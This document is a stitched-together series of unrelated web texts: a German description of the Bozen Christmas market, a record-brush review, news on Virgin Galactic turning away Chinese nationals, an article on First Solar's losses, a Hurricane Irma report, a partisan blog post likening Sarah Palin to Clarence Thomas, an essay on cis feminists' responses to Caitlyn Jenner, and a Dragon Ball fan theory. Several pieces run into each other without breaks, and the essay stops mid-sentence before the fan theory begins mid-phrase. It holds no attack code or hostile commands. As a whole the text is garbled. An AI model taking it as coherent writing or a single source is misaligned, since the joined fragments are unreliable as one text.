Malerisch gelegen in der historischen Altstadt, lädt der Bozener Christkindlmarkt zum Bummeln ein, inmitten eindrucksvoller Berglandschaft. Obwohl einer der beiden ältesten Weihnachtsmärkte Südtirols, ist er doch eine recht junge Einrichtung: Es gibt ihn erst seit 1991. Das mag man kaum glauben, passt er doch wunderbar auch in diesen Teil der Alpen, der erst seit dem Ersten Weltkrieg zu Italien gehört und bis heute überwiegend deutschsprachig ist. Hier treffen sich österreichische, deutsche, italienische und ladinische Traditionen, zur Freude der Besucher. Mit 80 Ausstellern ist der Markt eher beschaulich, man legt Wert auf Qualität und echtes Kunsthandwerk, etwa typisch alpenländische Geschenke aus Holz und Schafswolle, Strohsterne und handgemachte Weihnachtskugeln, Südtiroler Grappa, Grödner Holzarbeiten, Alpenkräuter-Bio-Seifen, Krippen aus Ton oder Figuren aus der Südtiroler Sage vom Zwergenkönig Laurin.
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Zum altmodischen Charme trägt auch ein moderner Ehrgeiz bei: Der Markt ist zertifiziert als ökologisch nachhaltiges Event – kein Plastikgeschirr, keine Getränkedosen stören die Idylle. Dazu passen regionale Köstlichkeiten: Glühwein, Erdäpflplattln mit Sauerkraut, Apfelkiachln und Strauben, ein süßes, warm verzehrtes Backwerk. Eine Weihnachtsleckerei sind die nach Zimt duftenden Zelten, eine Art Früchtebrot. Dazu erklingt Bozener Blasmusik. Neu in diesem Jahr sind Buden am Bahnhofspark mit Eislaufplatz und die Aktion „Lesen am Christkindlmarkt“, bei der Autoren auf Deutsch und Italienisch vorlesen und signierte Bücher verkaufen.
>>>Bis 6.1.2017 (am 25.12. geschlossen), www.mercatinodinatalebz.it/de
Extratipp Bozen: Fantastische Geschichten aus vorchristlicher Zeit ranken sich um „Ötzi“. Die 5300 Jahre alte Gletschermumie, gefunden vor 25 Jahren, dürfte Bozens größte Berühmtheit sein. Zu besichtigen ist „der Mann aus dem Eis“ im Archäologiemuseum, www.iceman.it/deThis is hardly a scientific comparison, but I spent a few days comparing, in order of price, the Audioquest carbon fiber brush ($24.99), the AcousTech The Big Record Brush ($36.95) ($52.95 with grounding wire) and the Levin Design ($335 appx.).
The Audioquest features two rows of pure carbon fiber, fine bristles. The AcousTech combines natural fibers and anti-static synthetic bristles and the Levin is 100% natural cashmere goat hair.
Clearly the Levin is most beautiful brush and the most expensive. The Audioquest is the most utilitarian. Cut to the chase: all three did a reasonably good job but the Audioquest was best at both collecting the dust and removing it from the record. Its 100% carbon fiber best lifted the assembled dust from the record.
I like having two rows of bristles. The front set stops the dust and picks up a great deal of it, while the second gets what the first misses. The AcousTech was almost as good but I found that having two separate rows of brushes really made a difference
For the well-to-do audiophile, when guests visit, nothing beats whipping out the Levin brush. It works fairly well and it just looks D-luxe. Obviously, for those on a budget the choice is not difficult between a great looking brush more than a dozen new LPs.
This video was posted for the heck of it. I didn't draw conclusions based on it.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Jan. 31, 2014, 11:30 PM GMT By Alan Boyle, Science Editor
Virgin Galactic will sell you a ticket to space for $250,000 — unless you're a Chinese national. Would-be spacefliers with Chinese passports are being turned away due to U.S. export controls.
Almost 700 passengers already have made reservations for flights on the SpaceShipTwo rocket plane, which is undergoing flight tests and is expected to start suborbital space tours as early as this year.
The first reports of Chinese turndowns came from Hong Kong. The South China Morning Post quoted Winnie Chan, a representative of Miramar Travel, as saying buyers with Chinese passports have been rejected, although Chinese with a U.S. green card or a Hong Kong passport have had their applications accepted.
Virgin Galactic spokeswoman Christine Choi emailed a statement to NBC News on Friday confirming that the ban is required under the terms of the federal government's export control regime — known as International Traffic in Arms Regulations, or ITAR. The regulations are aimed at heading off the unauthorized transfer of weapons technology to China as well as other countries such as Cuba, Iran and North Korea.
"Virgin Galactic’s space system is controlled under the ITAR by the U.S. government. The U.S. government has determined that the spaceflight customer experience falls under EAR99, a distinct category under the jurisdiction of the Commerce Department. Virgin Galactic adheres to both the spirit and the letter of U.S. export controls and has for now chosen not to accept deposits from countries subject to U.S. export and other regulatory restrictions," the statement read.
That may not be the final word.
"The U.S. government is giving focused attention to these and related issues, and as those considerations continue, Virgin Galactic may adapt its policies in consultation with appropriate regulators, legislators and other stakeholders," the company said.
More about Virgin Galactic:
NBCUniversal has established a multi-platform partnership with Virgin Galactic to track the development of SpaceShipTwo and televise its inaugural commercial spaceflight. Virgin Galactic is owned by Richard Branson’s Virgin Group and Abu Dhabi’s Aabar Investments PJS.
Alan Boyle is NBCNews.com's science editor. Connect with the Cosmic Log community by "liking" the NBC News Science Facebook page, following @b0yle on Twitter and adding +Alan Boyle to your Google+ circles. You can also check out "The Case for Pluto," my book about the controversial dwarf planet and the search for new worlds.A little over a year ago, First Solar seemed to be on top of the world. The U.S. solar giant was one of the largest and most successful solar-panel manufacturers, and solar power plant builders, in the world. It had the lowest manufacturing costs in the industry and the highest market capitalization of any solar-panel manufacturer.
Just a year on, the company’s situation is starkly different. Last month, First Solar announced it would close one factory in Germany, shut down four other production lines, and lay off 30 percent of its workers. Last week, it announced a massive loss of $450 million for the first quarter of 2012. The announcement surprised analysts, who had predicted the company would have significant profits. Last fall, First Solar’s CEO abruptly left the company, and its image suffered after it had to replace thousands of defective solar panels. Its stock has plummeted from about $130 a year ago to $17 on Friday.
“First Solar is definitely having pains right now. It’s not the runaway leader it’s been in past years,” says M.J. Shiao, senior analyst for solar markets at GTM Research.
First Solar isn’t the only solar company in financial trouble. Over the last several years, solar-panel manufacturers in China have built new factories and flooded the market with inexpensive solar panels, driving down prices, which fell by 50 percent last year alone. That has reduced or eliminated profit margins and forced some solar-panel companies out of business.
First Solar’s costs are still among the lowest, if not the lowest, in the industry. But it has trouble competing for two main reasons. First, some other solar-panel companies are selling at cost or below cost, possibly enabled by government support. “When crystalline-silicon solar-panel prices were still in the range of $1.50 to $2 per watt, First Solar, with its lowest cost of production—about 70 to 80 cents a watt—was doing very well. Now the prices for silicon panels have crashed to under $1 a watt,” Shiao says.
Second, its thin-film, cadmium-telluride solar panels are less efficient than the silicon solar panels made by manufacturers in China. This limits the kind of applications the panels are good for—for example, they aren’t well-suited to roofs, where space is at a premium. The lower efficiency isn’t as much of a disadvantage for large, ground-mounted installations, where space is typically less expensive, and where First Solar has found its niche. But even for this application, First Solar has had to charge far less than its competitors, something it can no longer do.
Yet, despite everything, some analysts say that First Solar’s prospects look good in the long term. Companies selling at or below cost probably can’t do that forever and stay in business. If First Solar outlasts them, its lower costs will again become a competitive advantage.
First Solar says that in the near term, it can count on customers who don’t want to buy solar panels from companies that are selling at too low of a price, for fear that those companies will go out of business and not be able to support the panels over their entire 25-year life.
First Solar also isn’t just a solar-panel manufacturer, but also a builder of solar power plants. A large share of the cost of solar power comes from things other than solar panels, including designing and building complete solar-power systems and connecting them to the grid. In general, installation is the most profitable part of the industry, and revenues from this side of the business—and the backlog of solar projects that it’s contracted to build (projects that also create a steady demand for its solar-panel factories)—might keep First Solar afloat.
In its earnings call last week, First Solar said it has other advantages over its competitors. It has more experience installing large solar power plants, which is important for guaranteeing performance. It’s also developing technology to make its solar power plants more attractive to utilities. Solar power is intermittent, with power output dropping and spiking as clouds pass overhead. To compensate, First Solar offers detailed forecasts to help utilities plan for how much power the panels will produce. It also installs power electronics that help smooth out fluctuations in voltage and frequency. Yet, although First Solar emphasized power electronics, others are also developing such technology.
In its earnings call, First Solar predicted better times ahead, and emphasized its new strategy of marketing its panels and solar power plants not in places such as Germany, where the industry is driven by subsidies, but in places such as India, where solar power could compete on its own because it’s sunny and prices from conventional electricity sources are relatively high.
Subsidized markets can be unpredictable, and subject to shifting political winds. After higher-than-expected costs for a feed-in tariff in Spain, the government ended the program and the market disappeared. Similar things have happened in other countries. That unpredictability makes it difficult to plan how many factories to build.
Focusing on new markets, at first glance, wouldn’t seem to help First Solar much. The same factors that make these markets attractive to First Solar make them attractive to other manufacturers as well, the same ones it has trouble competing with in subsidized markets.
First Solar does, however, have at least one significant advantage. In places such as India, which are hot and humid, First Solar’s technology is better suited to the climate. At high temperatures, the power output of silicon solar panels drops, but First Solar’s thin-film solar panels fare better than silicon panels. In humid areas, clouds and haze also diffuse sunlight, and thin-film solar panels do better in diffuse light than silicon ones. As a result, the performance gap between thin film and silicon narrows in these places.
Breaking into these new markets may prove challenging, though. Without a government guarantee of a return on investment, as is the case in Germany, it will likely be harder, at least at first, to convince banks to finance large projects, and companies could run into problems negotiating local politics in India.
But if the first large projects are financially successful, that could spur more investment and lead to growth that’s even faster than what’s been seen in subsidized markets, says Travis Bradford, president of the Prometheus Institute for Sustainable Development. (Subsidies have allowed the solar industry to double in size every two years for much of the past decade.)
“First Solar is saying it can compete in many markets around the world without subsidies,” Bradford says. “That could open up markets that are orders of magnitude larger than the ones we see today.”Hurricane Irma was downgraded to a Category 3 storm shortly before noon Saturday after its maximum sustained winds weakened to 125 mph, but it was expected to strengthen before moving toward southwest Florida on Sunday.
The National Hurricane Center said Irma was continuing to slam the north coast of Cuba Saturday but had weakened slightly. As of 2:00 p.m. EDT, the storm was located about 145 miles southeast of Key West, Fla.
The storm's center was expected to pass through the Florida Keys around 8 a.m. ET Sunday. The center said there were threats of brief tornadoes.
The center warned that major hurricane-force winds were expected to in the Florida Keys Sunday morning. The storm was expected to dump about 8 to 15 inches of rain in some areas.
Meanwhile, Florida Gov. Rick Scott warned residents Saturday that the storm surge from Hurricane Irma could "cover your house" and ultimately kill you as he urged Floridians to evacuate immediately.
Scott warned residents that a storm surge of up to 12 feet in places will inundate houses.
"This will cover your house. If you've ever watched how storm surges work, it flows in fast, very fast, and then it flows out. You will not survive all this storm surge," Scott said.
He said the storm is "going to go faster than you are."
Scott said some 25,000 people in Florida have already lost electricity as Irma's outer bands have begun hitting the southern part of the state.
Scott also urged people who have not evacuated to leave immediately.
"If you have been ordered to evacuate, you need to leave now. Do not wait. Evacuate. Not tonight, not in an hour. You need to go right now," the governor said.
Residents in western Florida were told they have until 12 p.m. ET Saturday to leave.
The governor said Saturday that more than 70 shelters were opening. There were currently 50,000 shelters opened in Florida ahead of the storm.
Scott said all members of the Florida National Guard have been deployed ahead of the storm. The governor said 1,000 volunteer nurses were needed to help at disability shelters.
Hurricane Center spokesman and meteorologist Dennis Feltgen said Saturday that while Miami would not get the core of Irma it would get life-threatening hurricane conditions.
Forecasters said the track of the storm was shifting west, unlike previous reports that had the storm hitting southern Florida. The National Weather Service said that damaging winds were moving into the southern part of the state, including Key Biscayne, Coral Gables and South Miami.
The latest forecast track predicts the center of the storm will move along Florida's Gulf Coast through Monday.
Forecasters expected the storm to reach the Keys on Sunday morning and approach the state’s southwest coast by that afternoon.
Cuban officials said the hurricane has damaged crops in the rural eastern part of the country. The extent of the damage was not immediately known. There were no immediate reports of casualties.
Trailing Irma in the Caribbean was Hurricane Jose, which neared Category 5 strength as it followed Irma’s path – posing a threat of further damage to small Caribbean islands that were already devastated by Irma.
Meanwhile, Hurricane Katia made landfall late Friday north of Tecolutla, Mexico, and weakened to a tropical depression, with winds reaching 35 mph.
Irma temporarily regained Category 5 strength late Friday, but weakened to a Category 4 hurricane as it moved over Cuba. The storm downgraded to a Category 3 storm Saturday morning.
In Cuba, Irma lashed the tourist resort areas of the island nation’s northern coast.
In Miami Beach, some residents chose to ride out the storm at home instead of heed Gov. Rick Scott’s orders to evacuate.
“Where am I going to go?" said Kathleen Paca, 56, in a South Beach bar. “It's not going to be that bad. I'm on the second floor and have impact windows. I've thrown coconuts at my windows and they don't break.”
Updated warnings
The hurricane center’s 2 p.m. advisory said that hurricane warnings for the U.S. East Coast were being extended northward to Fernandina Beach.
The hurricane warning for Florida’s East Coast was extended northward to the Flagler/Volusia County line to Chassahowitzka.
A storm surge warning has been extended from Chassahowitzka to the Suwanee River. A storm surge watch has been extended north to Isle of Palms, S.C. Most of Florida's coast was under a storm surge warning.
A tropical storm watch was issued north of Fernandina Beach to Altamaha Sound, Ga., with additional watches and warnings possible later Saturday for portions of the coasts of Georgia and South Carolina, as well as portions of the Florida Gulf Coast.
The center of the storm will move near the north coast of Cuba on Saturday, near the Florida Keys on Sunday morning, and near the southwest coast of Florida Sunday afternoon.
The interaction with Cuba's terrain has weakened the storm slightly but it was expected to strengthen as it moved toward the southwest coast of Florida Sunday afternoon.
Meanwhile, the Environmental Protection Agency said dozens of staff were working to help secure some of the nation's most contaminated toxic waste sites as Hurricane Irma bore down on Florida.
The Florida Keys were expected to receive 10 to 20 inches of rain. A few isolated tornadoes may hit Saturday and Sunday in southern Florida.
The Associated Press surveyed six of the 54 Superfund sites in Florida ahead of Irma's arrival, all around Miami in low-lying, flood-prone areas. AP's journalists found minor issues, such as three unsecured, steel drums in a grassy field containing contaminated soil and water.
The Associated Press contributed reporting to this story.Since Governor Sarah Palin arrived on the national stage, people have been comparing her to others. Some say Dan Quayle (who actually DID become Vice-President). Some say Tina Fey. Some say watching her is like watching a "chick flick". Some say she proves McCain has faulty judgment. Some say - including myself the other day - that she represents a "Hail Mary" pass. Some say she has plenty of foreign exposure because her state is closest to Russia. Some say she is McCain's third wife. Some say she is McCain's daughter. Some say she is more inexperienced than Obama.
Now that so many comparisons of her to others have been aired, I would like to compare the actual choice of her with another choice made eighteen ears ago - a choice that at one level intended to make it hard for Democrats to oppose because they might appear racist; a choice that stuck it in the Democrats' face because the person chosen was what they said they wanted - an African-American on the Supreme Court to follow in the giant footsteps of Thurgood Marshall.
George H.W. Bush nominated Clarence Thomas - the person with whom I now compare Sarah Palin. Both are inexperienced and incompetent. And both stand for what Democrats desire - an African-American and a woman. They were both chosen, as best I can tell from my psychoanalytic perch, with cruel cynicism, It is as if Bush Senior and McCain Senior are speaking in one voice: you want something new and different? Here you are.Note: Before thinking I’m talking about any specific person in this post, understand that I made a deliberate choice to read almost entirely commentary by trans or genderqueer people on Caitlyn Jenner’s coming out, both before and after the Vanity Fair cover. The exceptions would be this piece by Alex on affirming people’s looks, which I quite enjoyed and tend to agree with, and this mess from this morning that several people were shaking their heads about on Twitter, plus a couple of points I’ve argued on Facebook. While I’m not linking specific examples here, any behavior or argument I talk about I’ve seen from at least two sources. No one is uniquely bad at this.
This is a “we” observation, where “we” are cis feminists, mostly female for reasons that are probably obvious, mostly white for reasons I could only offer unhelpful speculation on. We’re people who see a trans person in the spotlight, usually a trans woman, and discover that we have things we must say right now about gender.
I understand the impulse. We already have a good bit of data and theory on gender. It’s a huge part of our lives. It’s a hobby horse for many of us. Trans people talking about being trans makes gender very salient. A trans person can feel like an amazing data point: how they’re treated, how they express gender, or even how they conceptualize their gender in opposition to all the messages they receive from society.
I get it. I’ve been there. Really, when I say this is a “we” observation, I very much mean myself. Still, as I reread that old post, the most important words it contains are “Then I told myself to shut up.” I’d like to encourage others to join me on that. Here are three big reasons why.
We’re adding to already large burdens.
Trans people attempt suicide at a rate nine times the national average according to one large survey (pdf). Housing and employment discrimination, poverty and homelessness, denial of medical care, and loss of family and social ties all mattered. So did hate crimes, for which trans people are also at an elevated risk. However, even among people for whom none of these was a factor, the risk was still five times the national average.
These are some of the last people we should be reacting to as a data point. If you wouldn’t treat someone talking about their mental illness as an opportunity to discuss theory around mental illness–I know those people exist, but I’ll do my readers the good grace of assuming they aren’t among those people–work against the impulse to see someone talking about their experience of being trans as being about gender theory. It almost never is, and on those rare occasions, the announcement tends to be explicit.
When a trans person wants to talk with you about gender theory, by all means, have at it. When everyone’s up for it, it’s a great, informative time. Just don’t mistake the fact that they’re talking about their experiences with gender for that invitation because gender is important to you. Don’t say the equivalent of “I noticed you have a gender. I too have a gender. We should talk about gender!”
It isn’t hard to respect the trans person’s goals for speaking up in public. They are tired of hiding, need to vent, want to tell trans kids they’re not alone? Those are all easy to accommodate, and there will be another opportunity for gender theorizing along that doesn’t involve a trans person in approximately half a second. We won’t miss out.
Also, let’s not set up situations in which trans people need a sophisticated understanding of gender theory to exist as publicly trans. I’m talking about our apparent need to step in and correct trans people who repeat gender stereotypes or incorrect scientific information about gender as a way of putting their own experiences in context. Whether it’s habit or due to the insidious idea that any person from a marginalized group is responsible for the way the world views the whole group, we need to stop and at least think about the situation.
These statements are generally not advocating for a particular understanding of gender nearly as much as they are asking the world for acceptance of their gender in terms the world has already told them it understands. When someone is attempting to act as an advocate on gender, that’s a different matter, though you’ll generally find that trans activists got there before you could. But focusing on the average trans person’s understanding of theory risks denying their real and potent need for acceptance.
Cis men don’t need to understand theory to be publicly male. I don’t need to in to be publicly female. Neither of us needs to in order to be publicly cis. The fact that trans people make you think about gender theory doesn’t mean they need to study it. Those who do often offer valuable insights, but those are not a ticket we get to demand of anyone who wants to talk about their own gender out loud.
We’re largely misdirecting our efforts.
Trans people didn’t create gender essentialism and gender binaries. They aren’t, even the richest and most famous of them, in any position to enforce or even significantly reinforce them. Trans people are the grossly marginalized victims |
versions of the story regarding the relations between the Saiyans and the Tuffle. Some differences are minor while some seem to reshape the entire story.
Vegeta said that the Tuffles used the Saiyans as slaves.
Baby’s story seems to illustrate the Saiyan/Tuffle “war” ending quickly as the Saiyans arrived on the night of a full moon easily taking over the planet.
King Kai and Dr. Raichi’s story says the war lasted 10 years with multiple battles taking place with the Tuffles managing to keep the Saiyans from complete domination and only ended with the Saiyans winning after a full moon (which occurs every 8 years) appeared in the sky.
Here we go; in King Kai’s story to Goku, he tells him that there were 2 races on Planet Plant the Saiyans and the Tuffles.
The Saiyans were a more violent and primitive race that lived in the outskirts of the Tuffle “city” in the caves and wastelands of Planet Plant.
The Tuffles were a much more advanced and peaceful society of beings. However, they were much smaller and fragile in terms of appearance compared to the much bigger and bulkier Saiyan race.
It was only due to their weaponry and scientific genius that kept the Saiyans from taking over their city, wiping them out and dominating the planet. Though they were weaker than the Saiyans, they outnumbered them greatly. Until the night of a full moon…
*Note; Remember the Tuffles were the one who developed the Scouter technology. They also had blasters (I’ll get into that more below)*
That was when the Tuffles were completely overrun by the Saiyans making them the dominant and only race on the planet. Of course in later series and movies, we learn that the Saiyans killed MOST of the Tuffles but some got away which kind of mirrored how Frieza would blow up Planet Vegeta in the future but some Saiyans survived for one reason or another.
He goes even further explaining that even though the Saiyan race was now the dominate race on the planet, their thirst for battle could not be quenched. The Saiyans yearned to venture out into the stars to find opponents to fight.
However, without the technology to do so they were unable to leave the planet. Or I should say they had the advanced technology of the Tuffles at their disposal but didn’t know how to use it.
At least not until sometime later, when they became more familiar with the technology and less barbaric but still had that desire to fight.
It wasn’t until they were approached by the Arcosians were they first brought into the Planet Trade Organization. They were paid with money and technology to go to their planet and clear out the race for the Arcosians.
Why did I mention the Planet Trade Organization when it was the Arcosians who approached the Saiyans and not Frieza or someone else of the Frost Demon Race?
Here is my theory; remember that Chilled and his men wore similar hooded cloaks when they arrived on Planet Plant in the past looking for the man (Bardock) who killed the two soldiers who came to the planet before claiming it in the name of Lord Chilled.
Also remember that Chilled KNEW about the healing medicine on the planet. That could have been the reason he wanted to conquer the planet.
This is similar to Frieza wanting the Kanassan planet due to the rumor of some psychic power.
Don’t you just love how all of this just seems to all come together especially when it involves Bardock?
Another thing to note is the Battle Armor. In King Kai’s tale and in GT, it wasn’t until AFTER they conquered the planet did the Saiyans start to wear the armor.
They probably got it from the Tuffles after the war or like many of Frieza’s men it wasn’t until they were drafted into the Planet Trade organization that they were equipped with the armor.
But in King Kai’s story, there was one Saiyan who shook hands with the Arcosian and he was wearing the armor which was probably given to him by the Arcosian himself either before the Saiyans cleansed the planet for them or after the victory had been won.
You’ll notice in this picture, ALL of the Saiyans shown are wearing the armor. Along with the dead native on the Arcosian planet (most likely the race they wanted the Saiyans to destroy in order to cleanse the planet) and damaged buildings in the picture, it kind of shows that it was the Arcosian planet they were on at the time.
My guess is that in order to give extra protection to the Saiyans while fighting to help increase their chances of success, they were given the armor BEFORE the fight just for the advantage.
During the war on Planet Plant all of the Great Apes were “bare” supporting that it was not until after the war and their meeting with the Arcosians were they given the armor. Remember that the armor is expandable even in Great Ape form and they didn’t have any on before just the clothes that they looked like they made while living in the wastelands.
Now, it is said that it was about one year after the Saiyans killed off the Tuffles that they were then put into Frieza’s empire for conquering planets. This further supports my theory that the Arcosians were a race that was either linked with the Frost Demons OR mentioned the Saiyans to the Frost Demons or more specifically Frieza.
I’m not sure how galactic gossip gets around but perhaps an Arcosian was talking to a being of another race and that was how the word about the Saiyans got to Frieza and any race that showed potential in expanding his empire was enough to get him to want them on his side.
Frieza probably already knew about the Saiyans due to the Super Saiyan legend passed down from Chilled to him.
However, he probably didn’t think about it being nothing more than a mere rumor and wanted them in his employ; until later on when he discovered the Saiyans were soon growing not only numbers but in power as well.
Alright, for anyone reading who is a Christian, I am not trying to disrespect the gospel by bringing it into this discussion; when you think about it Frieza was kind of like the Pharaoh of Egypt, fearful of an uprising due to rumors of a lesser race overpowering his throne.
In order to avoid that, he made a decree that all Saiyans must die in order to snuff out the possibly of an uprising and the “deliverer” a Super Saiyan freeing them from the bondage of Frieza.
In the Bible, Pharaoh decreed that all new born boys must die in order to prevent the “deliverer” emerging out of the slaves to free them from Pharaoh’s bondage.
Also note in both scenarios it was an act put into place by the suggestion of the advisers of the ruler that kind of fueled their own paranoia about the situation.
For Pharaoh it was his counselors.
For Frieza it was his right hand men; Zarbon and Dodoria.
Though later in Frieza’s flashback before transforming into his 2nd form, it seems that Zarbon didn’t think destroying them was necessary but went with it anything saying “Well I suppose you know best…”
Flashbacks can be inconsistent from time to time so I try not to take them that seriously.
Of course in Frieza’s case Goku had escaped the wrath of the tyrant by being sent off to Earth before he destroyed the planet.
He was AGAIN spared by Cooler who viewed from afar and noted that it was not his problem or job to finish Frieza’s sloppy work.
Later on he came to regret his decision as he was being incinerated by the sun…
Moses was placed in the river by his mother to avoid being killed.
So, it is kind of like that theory of predestination or fate where what is meant to happen will happen no matter what you do or what extremes you go through in order to prevent what is destined to occur.
In terms of the medicine that was used to heal Bardock, he notes that it is similar to the medicine in the Healing Chambers used by Frieza.
Vegeta mentions that the fluid contains synthetic Saiyan DNA.
This could hint about the Saiyan influence on the Tuffles, purple aliens and Frieza’s army. The medicine itself is said to heal injuries instantly. Saiyans get stronger after being healed from injuries or near-death experiences due to the Zenkai. This could be a reason why Saiyan DNA is also in the fluid medicine making healing faster and possibly making whatever being in the healing tank stronger than before.
In terms of Attack Balls, it is hard to say where they came from. When Chilled’s 2 soldiers arrived on Planet Plant they were in a large ship that Frieza, King Cold and Cooler use in space travel. It seems that Attack Balls were not used by the Frost Demon Empire until after their encounter with the Saiyans.
In some flashbacks, the Saiyans arrived on the planet by using these Attack Balls and then wiping out the Tuffles BUT since the Saiyans are barbaric by nature and not as intelligent as the Tuffles in terms of knowing how to use such technology it stands to reason that the Tuffles might have been the ones who invented the Attack Balls.
How?
Well let’s discuss how it is possible that the technology used by Chilled and his men helped advance the people on Planet Plant.
The first 2 henchmen used one of the giant spaceships to travel to the planet but were killed by Bardock meaning that their spaceship was still on the planet; before Chilled arrived he was traveling in one of the giant spaceships. It stands to reason that the ship he used to land on Planet Plant was still on the planet after he was blasted into space by Super Saiyan Bardock.
I’m sure similar to King Cold finding Frieza in space; some of Chilled’s men tracked him on radar and went to pick him up in another ship. So, as time went on the people on Planet Plant developed the technology into smaller ships called Attack Balls.
From there after Frieza “took in” the Saiyans, he used the ships for his henchmen and opted to use the larger more elaborate spaceships for himself. In a business-sense (because really Frieza and his family are part of a business) it is more cost efficient and easier to make in large numbers as opposed to having a giant spaceship for every man in the army even when broken into smaller groups of the soldiers.
How do I feel about the Super Saiyan God who appeared to stop the fighting but failed due to the form’s time limit?
Since the new DBZ movie hasn’t been released in the U.S. (yet) all I’ve been able to learn from it is from movie summaries on Youtube or articles on different DragonBall websites, so I don’t know enough about the Super Saiyan God to really go into extreme detail.
It stands to reason that there could have been pure-hearted Saiyans during the 10 year war who wanted the violence to stop. If I am right; it takes the energy of 5 pure-hearted Saiyans to make one Saiyan become the Super Saiyan God.
Does it have anything to do with Bardock?
Well I don’t think that Bardock was the Super Saiyan God of legend. Most likely because I think the events of the “Episode of Bardock” happened long before the Saiyan/Tuffle War. I know Saiyans can retain their youth to fight longer but I doubt they can live that long.
To go even further, I think our first “look” or hint of a guardian/god who wanted to stop the fighting would have been the one King Kai mentioned in his tale to Goku about a guardian or Kami of the Planet Vegeta/Planet that saw what was going on and disapproved. He summoned a mass of meteors to destroy the planet.
This was a HUGE inconsistency when it was finally revealed that it was Frieza himself. There could be 2 reasons why King Kai’s story involved a kami/god or guardian instead of saying that Frieza was the one to destroy the planet;
Like Supreme Kai, despite being an overseer of the universe (in King Kai’s case the North quadrant) he isn’t the “god” that his title suggests in that he is able to see all and know all. Remember how adamant, King Kai was when he told Goku not to fight Frieza and to avoid him at all costs when he was on his way to Namek?
Perhaps his reason for getting his story wrong by not saying that it was Frieza who destroyed the planet was because he didn’t want Goku going after him. I think that would be the only other reason aside from him not knowing about Frieza’s part in Planet Vegeta’s destruction.
But wait what does this have to do with Bardock starting the two races?
It pains me to say that Bardock was the one who started Saiyan race because it makes my head hurt thinking about it. If he was really the one to do so, wouldn’t that mean somewhere down the line he was responsible for his own existence in the past?
That is why I’m like John Stewart (Green Lantern; Justice League Unlimited) when I say that I HATE time travel because it leaves so many unanswered questions and endless speculation.
Since Bardock was the only Saiyan on the planet, how was he the one to start the race?
Here is where genetics, evolution, breeding and your own opinion as to where the Saiyans came from come into play.
Genetics/breeding; now you are probably asking yourself, how did Bardock start the race when the only other race on the planet was those purple beings?
Think about Vegeta’s younger brother Tarble and the alien he married. We don’t know if they have kids so I can’t guarantee that those two can breed. We do know Saiyans can breed with humans thus creating Saiyan/Human hybrids.
It stands to reason that there is a possibly that Bardock could breed with those purple aliens.
In another post, I mentioned the possibly of those purple aliens being the ancestors of the Tuffle race. Now here is how I believe that they possibly have some Saiyan genes in them and how they figured out the art of war.
Notice the similarities between the purple aliens and the Tuffles;
Both races are smaller than a Saiyan They appear to be peace-loving beings when compared to the Saiyans Both have “advanced” living conditions compared to the caves and wastelands that the Saiyans lived in, true the purple aliens didn’t have the technology of the Tuffles.
However, keep in mind that if they were the ancestors of the Tuffles, then it is understandable that they didn’t have the same level as advanced tech and weaponry as the Tuffles in the days of their war with the Saiyans. The fact that they had housing and a civilization was what could have “evolved” into the city that we saw in flashbacks.
Wait, when do the Scouters and blasters that I mentioned before come in?
Right now!
I’ve already talked about the healing medicine and the Chilled’s spaceship, so let’s move on to the blasters and Scouters.
Remember that Chilled had 2 guys (with Blasters) come to the planet to conquer it but were killed by Bardock.
Then when Chilled himself arrived he had some soldiers with him (also with Blasters). In both cases, the soldiers used the blasters in order to destroy some houses and some of the planet. Bardock killed them all and it stands to reason that the blasters were still intact.
After the events of Chilled’s failed assault, it stands to reason that the purple aliens (who were still peace loving) learned about the art of war. This is most likely due to Bardock. True he was their Super Saiyan savior BUT he or the aliens probably realized that they wouldn’t be able to rely on him saving them from threats all of the time.
That is why they probably confiscated those blasters and started learning about advanced technology and from there created the Scouters in order to measure the power of their opponents for future battles and more advanced and powerful models of those blasters.
So, we now know the possibilities as to how the purple aliens possibly evolved into the more technically advanced Tuffles based on their encounter with Chilled and the technology brought to their planet.
The one main question is why do the Tuffles look human-like when compared to the purple aliens?
My theory; Bardock
Let’s say that he had offspring with one or more of the purple aliens and from there generations passed and the purple aliens took on a more humanoid appearance. True Saiyan/Human hybrids seemed to have a drop in their Saiyan genetics as their offspring continued to reproduce with humans.
Gohan was ½ Saiyan, Pan was ¼ Saiyan and Goku Jr. was 1/16 Saiyan. That is because as time went on the Saiyan hybrids had offspring with 100% humans decreasing the Saiyan gene as generations went on.
In terms of the purple aliens and Bardock, it is possible that the hybrids they created had inbreeding going on keeping the Saiyan genetics intact.
This could attribute to the purple aliens (who might be the past versions of the Tuffles) taking on a more human/Saiyan like appearance in terms of skin color, hair, etc. yet some of them kept the same genetics in terms of their height being much shorter than an average Saiyan.
You are probably scratching your head right now (like Gohan) asking; but wait why don’t the Tuffles have tails like the Saiyans?
Well Saiyan tails are a recessive trait and if you remember the Punnet Squares from your middle school science class, you’ll now that detectable features like eye and hair color (or the purple aliens skin color) have around a 25% chance of being passed down from parent(s) to offspring if BOTH parents are a carrier for the trait.
Now the fact that Bardock was the ONLY Saiyan on the planet meant he was the only one (carrier) with a tail. If he did breed with one of the female purple aliens, that would theoretically decrease the chances of their child having a tail. It wouldn’t be impossible but very unlikely. The same can be said about the purple alien’s skin color because skin pigment is also a recessive trait like the Saiyan tail.
Which could support the theory as to why the Tuffles outnumbered the Saiyans (which I’ll get to below).
Of course 100% pure-blooded Saiyans will have a tail at birth.
When you break it down to Saiyan/Humans like Gohan, Trunks and Goten that is when the chances of having a tail begin to decrease as well.
True, we never see Goten or Trunks with tails. We see Trunks as a baby but without a tail.
We only see Goten as a baby in the ending credits of Bio-Broly but again we don’t see him with a tail.
My reasoning behind this is that Trunks and Goten MIGHT have been born with tails because like Gohan (who was born with a tail) they were 50% Saiyan. There is a chance that they had them removed at birth since Bulma, Vegeta and Gohan knew about the Great Apes and probably wanted to avoid a rampaging ape tearing down their houses…(though it is stated that the writers of the show pretty much forgot about the tail by the time the Buu Saga came around).
The Saiyan/purple alien offsprings that had tails probably moved out on their own into the wastelands of Planet Plant while the “normal” Tuffles/Purple Aliens stayed in their city.
Perhaps there was some kind of X-Men hatred going on like how Magneto hated humans due to being a mutant but still being a human himself in terms of genetics; he was just gifted with extra attributes.
The same COULD be said of the Tuffles/Saiyans; the more powerful offspring with tails (Saiyans) went off due to being labeled as outcast or something due to being different. This might be something that sparked the bad blood between the two races; resentment for being different.
Not only that when you compare the Saiyans to the purple aliens and Tuffles they are scary when you think about it.
They were much larger, stronger and could easily put fear in the hearts of the timid Tuffles.
From there they could have inbreed creating 100% Saiyans since as I mentioned before as generations go on the genetics of one race will eventually diminish.
